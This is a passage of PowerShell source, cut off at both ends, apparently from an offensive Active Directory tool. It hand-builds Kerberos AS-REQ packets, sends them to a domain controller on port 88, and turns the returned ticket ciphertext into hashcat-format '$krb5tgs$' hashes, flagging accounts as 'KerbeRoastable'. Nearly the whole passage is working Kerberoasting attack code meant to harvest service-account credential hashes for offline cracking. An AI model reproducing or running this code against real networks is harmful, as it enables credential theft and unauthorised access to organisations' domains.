$hashcat = "`$krb5tgs`$$($eType)`$$service`$$($serviceCred.Domain)`$*$service*`$$hash"
}
else {
$hash = "$($cipherText.Substring(0, 32))`$$($cipherText.Substring(32))"
$hashcat = "`$krb5tgs`$$($eType)`$*$service`$$($serviceCred.Domain)`$$service*`$$hash"
}
$serviceCred | Add-Member -MemberType NoteProperty -Name 'Status' -Value 'KerbeRoastable'
$serviceCred | Add-Member -MemberType NoteProperty -Name 'KRB5Hash' -Value $hashcat
}
}
elseif ($tag -eq 30) {
$serviceCred | Add-Member -MemberType NoteProperty -Name 'KRB5Hash' -Value $null
$temp = $asn_AS_REP.Sub[0].Sub | Where-Object {$_.TagValue -eq 6}
$error_code = [Convert]::ToUInt32($temp.Sub[0].GetInteger())
switch ($error_code) {
# KDC_ERR_S_PRINCIPAL_UNKNOWN
7 {
Write-Verbose "$($serviceCred.Username)@$($serviceCred.Domain) is not a valid service"
$serviceCred | Add-Member -MemberType NoteProperty -Name 'Status' -Value 'Invalid'
}
# KDC_ERR_ETYPE_NOSUPP
14 {
$serviceCred | Add-Member -MemberType NoteProperty -Name 'Status' -Value 'ETypeNotSupported'
}
# https://tools.ietf.org/html/rfc1510#section-8.3
default {
Write-Warning "Unknown error code for '$($serviceCred.Username)@$($serviceCred.Domain): $error_code"
}
}
}
Write-Output $serviceCred
}
}
}
Function Local:New-KerbPreauth {
[CmdletBinding()]
Param (
[Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[String]
$UserName,
[Byte[]]
$Key,
[Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[ValidateSet(1, 3, 17, 18, 23, 24)]
[Int]
$EncType,
[Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[String]
$Server,
[ValidateNotNullOrEmpty()]
[String]
$ServiceName = 'krbtgt'
)
$Address = [Net.IPAddress]::Parse($Server)
$EndPoint = New-Object Net.IPEndPoint $Address, 88
$Socket = New-Object Net.Sockets.Socket ([Net.Sockets.AddressFamily]::InterNetwork, [Net.Sockets.SocketType]::Stream, [Net.Sockets.ProtocolType]::TCP)
$Socket.TTL = 128
$ASREQ = New-ASReq -UserName $UserName -Domain $Domain -EncType $EncType -Key $Key -ServiceName $ServiceName
$LengthBytes = [BitConverter]::GetBytes($ASREQ.Length)
[Array]::Reverse($LengthBytes)
$totalRequestBytes = $LengthBytes + $ASREQ
try {
$Socket.Connect($EndPoint)
$BytesSent = $Socket.Send($totalRequestBytes)
$ResponseBuffer = New-Object Byte[] 65536
$BytesReceived = $Socket.Receive($ResponseBuffer)
}
catch {
throw "Error sending AS-REQ to '$TargetDCIP' : $_"
}
return $ResponseBuffer[4..$($BytesReceived-1)]
}
Function Local:New-ASReq {
[CmdletBinding()]
Param (
[Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[String]
$UserName,
[Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[Parameter(Mandatory = $True)]
[String]
$ServiceName,
[Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[UInt32]
$EncType,
[Byte[]]
$Key
)
# pvno [1] INTEGER (5) = Kerberos protocol version number for windows
$pvnoAsn = [Asn1.AsnElt]::MakeInteger(5)
$pvnoSeq = [Asn1.AsnElt]::Make([Asn1.AsnElt]::SEQUENCE, @($pvnoAsn))
$pvno = [Asn1.AsnElt]::MakeImplicit([Asn1.AsnElt]::CONTEXT, 1, $pvnoSeq)
# msg-type [2] INTEGER (10 -- AS -- ) = KRB-AS-REQ
$msg_type_ASN = [Asn1.AsnElt]::MakeInteger(10)
$msg_type_ASNSeq = [Asn1.AsnElt]::Make([Asn1.AsnElt]::SEQUENCE, @($msg_type_ASN))
$msgType = [Asn1.AsnElt]::MakeImplicit([Asn1.AsnElt]::CONTEXT, 2, $msg_type_ASNSeq)
# PA-DATA
$padatas = @()
if ($Key) {
# padata-type [1] Int32 (2 = ENC_TIMESTAMP)
$padataNameType = [Asn1.AsnElt]::MakeInteger(2)
$padataNameTypeSeq = [Asn1.AsnElt]::Make([Asn1.AsnElt]::SEQUENCE, @($padataNameType))
$padataType = [Asn1.AsnElt]::MakeImplicit([Asn1.AsnElt]::CONTEXT, 1, $padataNameTypeSeq)
$patimestamp = [DateTime]::UtcNow
$patimestampAsn = [Asn1.AsnElt]::MakeString([Asn1.AsnElt]::GeneralizedTime, $patimestamp.ToString("yyyyMMddHHmmssZ"))
$patimestampSeq = [Asn1.AsnElt]::Make([Asn1.AsnElt]::SEQUENCE, @($patimestampAsn))
$patimestampSeq = [Asn1.AsnElt]::MakeImplicit([Asn1.AsnElt]::CONTEXT, 0, $patimestampSeq)
$totalSeq = [Asn1.AsnElt]::Make([Asn1.AsnElt]::SEQUENCE, @($patimestampSeq))
$data = $totalSeq.Encode()
# KeyUsage 1 = KRB_KEY_USAGE_AS_REQ_PA_ENC_TIMESTAMP
$encData = KerberosEncrypt -eType $EncType -keyUsage 1 -key $Key -data $data
# etype [0] Int32 -- EncryptionType --
$etypeAsn = [Asn1.AsnElt]::MakeInteger($EncType)
$etypeSeq = [Asn1.AsnElt]::Make([Asn1.AsnElt]::SEQUENCE, @($etypeAsn))
$etypeSeq = [Asn1.AsnElt]::MakeImplicit([Asn1.AsnElt]::CONTEXT, 0, $etypeSeq)
# cipher [2] OCTET STRING -- ciphertext
$cipherAsn = [Asn1.AsnElt]::MakeBlob($encData);
$cipherSeq = [Asn1.AsnElt]::Make([Asn1.AsnElt]::SEQUENCE, @($cipherAsn))
$cipherSeq = [Asn1.AsnElt]::MakeImplicit([Asn1.AsnElt]::CONTEXT, 2, $cipherSeq)
$cipherEltSeq = [Asn1.AsnElt]::Make([Asn1.AsnElt]::SEQUENCE, @($etypeSeq, $cipherSeq))
$blob = [Asn1.AsnElt]::MakeBlob($cipherEltSeq.Encode())
$blobSeq = [Asn1.AsnElt]::Make([Asn1.AsnElt]::SEQUENCE, @($blob))
$blobSeq = [Asn1.AsnElt]::MakeImplicit([Asn1.AsnElt]::CONTEXT, 2, $blobSeq)
$padataEltSeq = [Asn1.AsnElt]::Make([Asn1.AsnElt]::SEQUENCE, @($padataType, $blobSeq))
$padatas += $padataEltSeq
}
# padata-type [1] Int32 (128 = PA_PAC_REQUEST)
$padataNameType = [Asn1.AsnElt]::MakeInteger(128)
$padataNameTypeSeq = [Asn1.AsnElt]::Make([Asn1.AsnElt]::SEQUENCE, @($padataNameType))
$padataType = [Asn1.AsnElt]::MakeImplicit([Asn1.AsnElt]::CONTEXT, 1, $padataNameTypeSeq)
# padata-value [2] OCTET STRING (encoded KRB5-PADATA-PA-PAC-REQUEST with include_pac = true)
$include_pac = [Asn1.AsnElt]::MakeBlob(@(0x30, 0x05, 0xa0, 0x03, 0x01, 0x01, 0x01))
$paDataElt = [Asn1.AsnElt]::Make([Asn1.AsnElt]::SEQUENCE, @($include_pac))
$paData = [Asn1.AsnElt]::MakeImplicit([Asn1.AsnElt]::CONTEXT, 2, $paDataElt)
# PA-DATA ::= SEQUENCE
$padataEltSeq = [Asn1.AsnElt]::Make([Asn1.AsnElt]::SEQUENCE, @($padataType, $paData))
$padatas += $padataEltSeq
# padata [3] SEQUENCE OF PA-DATA OPTIONAL
$padata_ASNSeq = [Asn1.AsnElt]::Make([Asn1.AsnElt]::SEQUENCE, $padatas)
$padata_ASNSeq2 = [Asn1.AsnElt]::Make([Asn1.AsnElt]::SEQUENCE, @($padata_ASNSeq))
$padata = [Asn1.AsnElt]::MakeImplicit([Asn1.AsnElt]::CONTEXT, 3, $padata_ASNSeq2)
# kdc-options [0] KDCOptions (forwardable, renewable, renewable-ok)
$kdcOptionsAsn = [Asn1.AsnElt]::MakeBitString(@(0x40,0x80,0x00,0x10))
$kdcOptionsSeq = [Asn1.AsnElt]::Make([Asn1.AsnElt]::SEQUENCE, @($kdcOptionsAsn))
$kdcOptions = [Asn1.AsnElt]::MakeImplicit([Asn1.AsnElt]::CONTEXT, 0, $kdcOptionsSeq)
# cname [1] PrincipalName OPTIONAL ::= SEQUENCE
# name-type [0] Int32 (1 = KRB5-NT-PRINCIPAL)
$cnameTypeElt = [Asn1.AsnElt]::MakeInteger(1)
$cnameTypeSeq = [Asn1.AsnElt]::Make([Asn1.AsnElt]::SEQUENCE, @($cnameTypeElt))
$cnameType = [Asn1.AsnElt]::MakeImplicit([Asn1.AsnElt]::CONTEXT, 0, $cnameTypeSeq)
# name-string [1] SEQUENCE OF KerberosString [List<string>]
$cnameStringElt = [Asn1.AsnElt]::MakeString([Asn1.AsnElt]::UTF8String, $UserName)
$cnameStringElt = [Asn1.AsnElt]::MakeImplicit([Asn1.AsnElt]::UNIVERSAL, [Asn1.AsnElt]::GeneralString, $cnameStringElt)
$cstringSeq = [Asn1.AsnElt]::Make([Asn1.AsnElt]::SEQUENCE, @($cnameStringElt))
$cstringSeq2 = [Asn1.AsnElt]::Make([Asn1.AsnElt]::SEQUENCE, @($cstringSeq))
$cnameString = [Asn1.AsnElt]::MakeImplicit([Asn1.AsnElt]::CONTEXT, 1, $cstringSeq2)
# cname ::= SEQUENCE
$cnameSeq = [Asn1.AsnElt]::Make([Asn1.AsnElt]::SEQUENCE, @($cnameType, $cnameString))
$cnameElt = [Asn1.AsnElt]::Make([Asn1.AsnElt]::SEQUENCE, @($cnameSeq))
$cname = [Asn1.AsnElt]::MakeImplicit([Asn1.AsnElt]::CONTEXT, 1, $cnameElt)
# realm [2] Realm
$realmAsn = [Asn1.AsnElt]::MakeString([Asn1.AsnElt]::IA5String, $Domain)
$realmAsn = [Asn1.AsnElt]::MakeImplicit([Asn1.AsnElt]::UNIVERSAL, [Asn1.AsnElt]::GeneralString, $realmAsn)